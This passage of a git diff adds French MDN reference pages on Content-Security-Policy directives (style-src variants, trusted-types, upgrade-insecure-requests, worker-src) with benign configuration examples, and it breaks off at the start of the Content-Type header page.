+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: style-src-attr &lt;source&gt;;
+Content-Security-Policy: style-src-attr &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<p><code>style-src-attr</code> peut être utilisée conjointement à {{CSP("style-src")}} :</p>
+
+<pre class="notranslate">Content-Security-Policy: <code>style</code>-src &lt;source&gt;;
+Content-Security-Policy: <code>style</code>-src-attr &lt;source&gt;;</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p>
+
+<dl>
+ <dt>'report-sample'</dt>
+ <dd>Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div class="hidden">
+<p>TODO: add examples</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-style-src-attr", "style-src-attr")}}</td>
+   <td>{{Spec2("CSP 3.0")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.style-src-attr")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{CSP("style-src")}}</li>
+ <li>{{CSP("style-src-elem")}}</li>
+ <li>{{HTTPHeader("Link")}} header</li>
+ <li>{{HTMLElement("style")}}, {{HTMLElement("link")}}</li>
+ <li>{{cssxref("@import")}}</li>
+ <li>{{domxref("CSSStyleSheet.insertRule()")}}</li>
+ <li>{{domxref("CSSGroupingRule.insertRule()")}}</li>
+ <li>{{domxref("CSSStyleDeclaration.cssText")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/style-src-elem/index.html b/files/fr/web/http/headers/content-security-policy/style-src-elem/index.html
new file mode 100644
index 0000000000..26a0a2c9d7
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/style-src-elem/index.html
@@ -0,0 +1,105 @@
+---
+title: 'CSP: style-src-elem'
+slug: Web/HTTP/Headers/Content-Security-Policy/style-src-elem
+tags:
+  - CSP
+  - Content
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Reference
+  - Security
+  - Style
+  - Sécurité
+  - source
+  - style-src
+  - style-src-elem
+translation_of: Web/HTTP/Headers/Content-Security-Policy/style-src-elem
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>style</strong></code><strong><code>-src-elem</code></strong> spécifie les sources valides pour les feuilles de styles embarquées avec l'élément {{HTMLElement("style")}} et pour l'élément {{HTMLElement("link")}} avec l'attribut <code>rel="stylesheet"</code>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>3</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} par défaut</th>
+   <td>
+    <p>Oui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("style-src")}}, qui a pour valeur par défaut celle de la directive <code>default-src</code></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: style-src-elem &lt;source&gt;;
+Content-Security-Policy: style-src-elem &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<p><code>style-src-elem</code> peut être utilisée conjointement à {{CSP("style-src")}} :</p>
+
+<pre class="notranslate">Content-Security-Policy: <code>style</code>-src &lt;source&gt;;
+Content-Security-Policy: <code>style</code>-src-elem &lt;source&gt;;</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p>
+
+<dl>
+ <dt>'report-sample'</dt>
+ <dd>Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div class="hidden">
+<p>TODO: add examples</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-style-src-elem", "style-src-elem")}}</td>
+   <td>{{Spec2("CSP 3.0")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.style-src-elem")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{CSP("style-src")}}</li>
+ <li>{{CSP("style-src-attr")}}</li>
+ <li>{{HTTPHeader("Link")}} header</li>
+ <li>{{HTMLElement("style")}}, {{HTMLElement("link")}}</li>
+ <li>{{cssxref("@import")}}</li>
+ <li>{{domxref("CSSStyleSheet.insertRule()")}}</li>
+ <li>{{domxref("CSSGroupingRule.insertRule()")}}</li>
+ <li>{{domxref("CSSStyleDeclaration.cssText")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/style-src/index.html b/files/fr/web/http/headers/content-security-policy/style-src/index.html
new file mode 100644
index 0000000000..d373fa8477
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/style-src/index.html
@@ -0,0 +1,181 @@
+---
+title: 'CSP: style-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/style-src
+tags:
+  - CSP
+  - Content
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Reference
+  - Security
+  - Style
+  - Sécurité
+  - source
+  - style-src
+translation_of: Web/HTTP/Headers/Content-Security-Policy/style-src
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>style-src</code></strong> spécifie les sources valides pour des feuilles de style.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>1</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} fallback</th>
+   <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: style-src &lt;source&gt;;
+Content-Security-Policy: style-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Cas_de_violation">Cas de violation</h3>
+
+<p>Soit cet en-tête CSP :</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: style-src https://example.com/</pre>
+
+<p>Ces feuilles de style seront bloquées et ne se chargeront pas :</p>
+
+<pre class="brush: html notranslate">&lt;link href="https://not-example.com/styles/main.css" rel="stylesheet" type="text/css" /&gt;
+
+&lt;style&gt;
+#inline-style { background: red; }
+&lt;/style&gt;
+
+&lt;style&gt;
+  @import url("https://not-example.com/styles/print.css") print;
+&lt;/style&gt;</pre>
+
+<p>De même que les styles chargés avec l'en-tête {{HTTPHeader("Link")}} :</p>
+
+<pre class="brush: bash notranslate">Link: &lt;https://not-example.com/styles/stylesheet.css&gt;;rel=stylesheet
+</pre>
+
+<p>Les attributes de style seront aussi bloqués :</p>
+
+<pre class="brush: html notranslate">&lt;div style="display:none"&gt;Foo&lt;/div&gt;</pre>
+
+<p>De même que les styles ajoutés par JavaScript en définissant l'attribut <code>style</code> directement, ou en définissant la propriété {{domxref("CSSStyleDeclaration.cssText", "cssText")}} :</p>
+
+<pre class="brush: js notranslate">document.querySelector('div').setAttribute('style', 'display:none;');
+document.querySelector('div').style.cssText = 'display:none;';</pre>
+
+<p>Toutefois, les propriétés de styles qui sont définies directement dans l'attribut {{domxref("HTMLElement.style", "style")}} ne seront pas bloquées, permettant aux utilisateurs de manipuler sainement les styles avec JavaScript :</p>
+
+<pre class="brush: js notranslate">document.querySelector('div').style.display = 'none';</pre>
+
+<p>Ce genre de manipulations peut être bloqué en désactivant JavaScript au moyen de la directive CSP {{CSP("script-src")}}.</p>
+
+<h3 id="Styles_embarqués_non_fiables">Styles embarqués non fiables</h3>
+
+<div class="note">
+<p><strong>Note :</strong> Bloquer les styles et scripts embarqués est l'une des stratégies de sécurité majeures que CSP propose. Toutefois, si vous en avez absolument besoin, il existe des mécanismes qui vous permettront de les autoriser.</p>
+</div>
+
+<p>Vous pouvez autoriser les styles embarqués en spécifiant la valeur <code>'unsafe-inline'</code>, des nonces ou des hashs correspondant à la feuille de style.</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: style-src 'unsafe-inline';
+</pre>
+
+<p>Cette directive CSP autorisera toutes les feuilles de styles embarquées telles que l'élément {{HTMLElement("style")}} et l'attribut <code>style</code> sur tous les éléments :</p>
+
+<pre class="brush: html notranslate">&lt;style&gt;
+#inline-style { background: red; }
+&lt;/style&gt;
+
+&lt;div style="display:none"&gt;Foo&lt;/div&gt;
+</pre>
+
+<p>Vous pouvez aussi utiliser un nonce pour autoriser spécifiquement certains éléments {{HTMLElement("style")}} :</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: style-src 'nonce-2726c7f26c'</pre>
+
+<p>Vous devrez alors définir ce nonce sur l'élément {{HTMLElement("style")}} :</p>
+
+<pre class="brush: html notranslate">&lt;style nonce="2726c7f26c"&gt;
+#inline-style { background: red; }
+&lt;/style&gt;</pre>
+
+<p>Autrement, vous pourrez créer des hashs à partir de vos feuilles de styles. CSP accepte les algorithmes sha256, sha384 et sha512.</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: style-src 'sha256-a330698cbe9dc4ef1fb12e2ee9fc06d5d14300262fa4dc5878103ab7347e158f'</pre>
+
+<p>Lors de la génération du hash, vous ne devez pas inclure les balises et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.).</p>
+
+<pre class="brush: html notranslate">&lt;style&gt;#inline-style { background: red; }&lt;/style&gt;</pre>
+
+<h3 id="Style_non_fiables">Style non fiables</h3>
+
+<p>La valeur <code>'unsafe-eval'</code> contrôle différente méthodes de mise en page qui créent des déclarations de style à partir de chaines de caractères. Si <code>'unsafe-eval'</code> n'est pas spécifiée avec la directive <code>style-src</code>, ces méthodes seront bloquées et n'auront aucun effet :</p>
+
+<ul>
+ <li>{{domxref("CSSStyleSheet.insertRule()")}}</li>
+ <li>{{domxref("CSSGroupingRule.insertRule()")}}</li>
+ <li>{{domxref("CSSStyleDeclaration.cssText")}}</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-style-src", "style-src")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Inchangé.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-style-src", "style-src")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.style-src")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{CSP("style-src-elem")}}</li>
+ <li>{{CSP("style-src-attr")}}</li>
+ <li>{{HTTPHeader("Link")}} header</li>
+ <li>{{HTMLElement("style")}}, {{HTMLElement("link")}}</li>
+ <li>{{cssxref("@import")}}</li>
+ <li>{{domxref("CSSStyleSheet.insertRule()")}}</li>
+ <li>{{domxref("CSSGroupingRule.insertRule()")}}</li>
+ <li>{{domxref("CSSStyleDeclaration.cssText")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/trusted-types/index.html b/files/fr/web/http/headers/content-security-policy/trusted-types/index.html
new file mode 100644
index 0000000000..447823ede5
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/trusted-types/index.html
@@ -0,0 +1,89 @@
+---
+title: 'CSP: trusted-types'
+slug: Web/HTTP/Headers/Content-Security-Policy/trusted-types
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Security
+  - Sécurité
+  - source
+  - trusted-types
+translation_of: Web/HTTP/Headers/Content-Security-Policy/trusted-types
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>trusted-types</strong></code> {{experimental_inline}} informe l'agent utilisateur qu'il faut restreindre la création de règles Trusted Types (fonctions qui créent des valeurs typées non <span>falsifiables, dans le but de les passer au puits XSS du DOM au lieu de chaines de caractères).</span></p>
+
+<p><span>Conjointement à la directive <code><strong><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-for">require-trusted-types-for</a></strong></code>, cette directive permet aux auteurs de définir des règles empêchant d'injecter des données dans le</span><span> DOM et donc de réduire la fenêtre de tir pour les attaques XSS sur le DOM à quelques pans isolés de la base de code d'une application, facilitant donc son contrôle et sa relecture.</span> Cette directive déclare une liste de permissions de noms de règles de Trusted Types créée avec <code>TrustedTypes.createPolicy</code> à partir de l'API Trusted Types.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="notranslate">Content-Security-Policy: trusted-types;
+Content-Security-Policy: trusted-types 'none';
+Content-Security-Policy: trusted-types &lt;policyName&gt;;
+Content-Security-Policy: trusted-types &lt;policyName&gt; &lt;policyName&gt; 'allow-duplicates';
+</pre>
+
+<dl>
+ <dt>&lt;nomRègle&gt;</dt>
+ <dd>Un nom de règle est composé de caractères alphanumériques ou d'un ou plusieurs "<code>-#=_/@.%</code>".  Une astérisque (<code>*</code>) comme nom de règle informe l'agent utilisateur d'autoriser tout nom de règle unique (quoique la valeur <code>'allow-duplicates'</code> pourrait permettre d'être plus laxiste à l'avenir).</dd>
+ <dt><code>'none'</code></dt>
+ <dd>Interdit la création de toute règle de Trusted Type (identique au fait de ne renseigner aucun nom de règle).</dd>
+ <dt><code>'allow-duplicates'</code></dt>
+ <dd>Autorise la création de règles dont le nom a déjà été utilisé.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Soit l'en-tête CSP :</p>
+
+<pre class="notranslate">Content-Security-Policy: trusted-types foo bar 'allow-duplicates';</pre>
+
+<p>Ce code génèrera une erreur car une des règles créées a un nom non autorisé :</p>
+
+<pre class="brush: js notranslate">if (typeof trustedTypes !== 'undefined') {
+  const policyFoo = trustedTypes.createPolicy('foo', {});
+  const policyFoo2 = trustedTypes.createPolicy('foo', {});
+  const policyBaz = trustedTypes.createPolicy('baz', {}); // Throws and dispatches a SecurityPolicyViolationEvent.
+}
+</pre>
+
+<h2 id="Prothèse_démulation">Prothèse d'émulation</h2>
+
+<p>Un <a href="https://github.com/w3c/webappsec-trusted-types#polyfill">prothèse d'émulation pour les Trusted Types</a> est disponible sur Github.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/">Trusted Types</a></td>
+   <td>Draft</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.trusted-types")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li><a href="/en-US/docs/Glossary/Cross-site_scripting">Cross-Site Scripting (XSS)</a></li>
+ <li><a href="https://web.dev/trusted-types">Prevent DOM-based cross-site scripting vulnerabilities with Trusted Types</a></li>
+ <li>Trusted Types with <a href="https://github.com/cure53/DOMPurify#what-about-dompurify-and-trusted-types">DOMPurify</a> XSS sanitizer</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.html b/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.html
new file mode 100644
index 0000000000..31cb9ce45b
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.html
@@ -0,0 +1,96 @@
+---
+title: 'CSP: upgrade-insecure-requests'
+slug: Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Reference
+  - Security
+  - Sécurité
+  - Upgrade
+  - request
+  - requête
+  - upgrade-insecure-requests
+translation_of: Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>upgrade-insecure-requests</strong></code> informe l'agent utilisateur de traiter toutes les URL non sécurisées d'un site (servies avec HTTP) comme si elles avaient été remplacées par des URL sécurisées (servies avec HTTPS). Cette directive est prévue pour les sites web ayant un grand nombre d'URL non sécurisées héritées du passé et qui ont besoin d'être récrites.</p>
+
+<p class="note">La directive <code>upgrade-insecure-requests</code> est évaluée avant la directive {{CSP("block-all-mixed-content")}} et si cette elle est définie, cette dernière est effectivement ignorée. Il est recommendé de ne définir que l'une des deux directives mais non les deux, à moins que vous souhaitiez forcer HTTPS sur les anciens navigateurs qui ne le font pas après une redirection vers HTTP.</p>
+
+<p>The <code>upgrade-insecure-requests</code> directive will not ensure that users visiting your site via links on third-party sites will be upgraded to HTTPS for the top-level navigation and thus does not replace the {{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}}) header, which should still be set with an appropriate <code>max-age</code> to ensure that users are not subject to SSL stripping attacks.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: upgrade-insecure-requests;</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Soit cet en-tête CSP :</p>
+
+<pre class="notranslate">Content-Security-Policy: upgrade-insecure-requests;
+</pre>
+
+<p>Et cette balise meta :</p>
+
+<pre class="brush: html notranslate">&lt;meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests"&gt;</pre>
+
+<p>Avec cet en-tête défini sur le domaine example.com voulant migrer d'HTTP à HTTPS, les requêtes pour des ressources non sécurisées et non navigationnelles sont automatiquement converties (qu'elles soient internes ou externes).</p>
+
+<pre class="brush: html notranslate">&lt;img src="http://example.com/image.png"&gt;
+&lt;img src="http://not-example.com/image.png"&gt;</pre>
+
+<p>Ces URL seront récrites avant que la requête soit envoyée, signifiant qu'aucune requête non sécurisée ne sera envoyée. Notez que si la ressource demandée n'est pas actuellement disponible via HTTPS, la requête échouera sans se rabattre sur HTTP.</p>
+
+<pre class="brush: html notranslate">&lt;img src="https://example.com/image.png"&gt;
+&lt;img src="https://not-example.com/image.png"&gt;</pre>
+
+<p>Les conversions navigationnelles vers des ressources externes amènent un risque significatif  de dysfonctionnement étant donné que des requêtes peuvent n'être pas converties, par exemple celles-ci :</p>
+
+<pre class="brush: html notranslate">&lt;a href="https://example.com/"&gt;Home&lt;/a&gt;
+&lt;a href="http://not-example.com/"&gt;Home&lt;/a&gt;</pre>
+
+<h3 id="Identifier_des_requêtes_non_sécurisées">Identifier des requêtes non sécurisées</h3>
+
+<p>À l'aide de l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} et de la directive {{CSP("report-uri")}}, vous pouvez mettre en place une stratégie de rapportage de violations sans bloquage conjointement à une stratégie de conversion comme :</p>
+
+<pre class="notranslate">Content-Security-Policy: upgrade-insecure-requests; default-src https:
+Content-Security-Policy-Report-Only: default-src https:; report-uri /endpoint</pre>
+
+<p>De cette manière, vous convertirez toujours les requêtes non sécurisées sur votre site sécurisé mais la stratégie de rapportage identifiera les requêtes non sécurisées et les rapportera à l'adresse fournie.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{specName("Upgrade Insecure Requests", "#delivery", "upgrade-insecure-requests")}}</td>
+   <td>{{Spec2('Upgrade Insecure Requests')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.upgrade-insecure-requests")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTTPHeader("Upgrade-Insecure-Requests")}} header</li>
+ <li>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}}) header</li>
+ <li>{{CSP("block-all-mixed-content")}}</li>
+ <li><a href="/en-US/docs/Web/Security/Mixed_content">Mixed content</a></li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/worker-src/index.html b/files/fr/web/http/headers/content-security-policy/worker-src/index.html
new file mode 100644
index 0000000000..7e7ea6a9cf
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/worker-src/index.html
@@ -0,0 +1,100 @@
+---
+title: 'CSP: worker-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/worker-src
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Reference
+  - Security
+  - Sécurité
+translation_of: Web/HTTP/Headers/Content-Security-Policy/worker-src
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>worker-src</strong></code> spécifie les sources valides pour les scripts {{domxref("Worker")}}, {{domxref("SharedWorker")}} et {{domxref("ServiceWorker")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>3</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td>
+    <p>Si cette directive est absente, l'agent utilisateur consultera d'abord la directive {{CSP("child-src")}}, puis la directive {{CSP("script-src")}} et enfin la directive {{CSP("default-src")}}, concernant la gestion l'exécution des workers.</p>
+
+    <p>Chrome 59 et plus ne consultent pas la directive {{CSP("child-src")}}.</p>
+
+    <p>Edge 17 ne consulte pas la directive {{CSP("script-src")}} (<a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/17415478/">bug</a>).</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: worker-src &lt;source&gt;;
+Content-Security-Policy: worker-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Cas_de_violation">Cas de violation</h3>
+
+<p>Soit cet en-tête CSP :</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: worker-src https://example.com/</pre>
+
+<p>{{domxref("Worker")}}, {{domxref("SharedWorker")}} et {{domxref("ServiceWorker")}} seront bloqués et ne se chargeront pas :</p>
+
+<pre class="brush: html notranslate">&lt;script&gt;
+  var blockedWorker = new Worker("data:application/javascript,...");
+  blockedWorker = new SharedWorker("https://not-example.com/");
+  navigator.serviceWorker.register('https://not-example.com/sw.js');
+&lt;/script&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-worker-src", "worker-src")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.worker-src")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li><a href="/docs/Web/API/Web_Workers_API/Using_web_workers#Content_security_policy">CSP for Web Workers</a></li>
+ <li>{{domxref("Worker")}}, {{domxref("SharedWorker")}}, {{domxref("ServiceWorker")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-type/index.html b/files/fr/web/http/headers/content-type/index.html
new file mode 100644
index 0000000000..2ed14d56a3
--- /dev/null
+++ b/files/fr/web/http/headers/content-type/index.html
@@ -0,0 +1,117 @@
+---
+title: Content-Type
+slug: Web/HTTP/Headers/Content-Type
+tags:
+  - HTTP
+  - Reference
+  - en-tête
+translation_of: Web/HTTP/Headers/Content-Type
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'en-tête <strong><code>Content-Type</code></strong> sert à indiquer le type MIME de la ressource.</p>
+
+<p>Dans les réponses, un en-tête <code>Content-Type</code> indique au client le type de contenu réellement renvoyé. Il peut arriver que les navigateurs cherchent à détecter le type MIME du contenu en l'inspectant plutôt qu'en respectant la valeur de cet en-tête. Pour empêcher ce comportement, on peut paramétrer l'en-tête {{HTTPHeader("X-Content-Type-Options")}} avec la valeur <code>nosniff</code>.</p>
+
+<p>Dans les requêtes, (telles que {{HTTPMethod("POST")}} ou {{HTTPMethod("PUT")}}), le client indique au serveur quel type de données a réellement été envoyé.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td>En-tête d'entité</td>
+  </tr>
+  <tr>
+   <th scope="row">Nom d'en-tête interdit</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">En-tête de réponse simple pour le CORS</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Content-Type: text/html; charset=utf-8
+Content-Type: multipart/form-data; boundary=something
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt><code>media-type</code></dt>
+ <dd>Le <a href="/fr/docs/Web/HTTP/Basics_of_HTTP/MIME_types">type MIME</a> de la ressource ou des données.</dd>
+ <dt><code>charset</code></dt>
+ <dd>L'encodage utilisé pour les caractères des données.</dd>
+ <dt><code>boundary</code></dt>
+ <dd>Pour les entités fragmentées (<em>multipart</em>), la directive <code>boundary</code> est nécessaire. Elle ne se termine pas par un espace et est composée de 1 à 70 caractères qui proviennent d'un ensemble de caractères connus pour ne pas être transformés/modifiés par les différents composants au travers desquels transitent les emails. Cette directive est utilisée afin d'encapsuler les limites des différents fragments d'un message fragmenté.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Content-Type_dans_les_formulaires_HTML"><code>Content-Type</code> dans les formulaires HTML</h3>
+
+<p>Dans une requête {{HTTPMethod("POST")}}, qui vient d'une soumission d'un formulaire HTML, le <code>Content-Type</code> de la requête est précisé par l'attribut <code>enctype</code> de l'élément {{HTMLElement("form")}}.</p>
+
+<pre class="brush: html">&lt;form action="/" method="post" enctype="multipart/form-data"&gt;
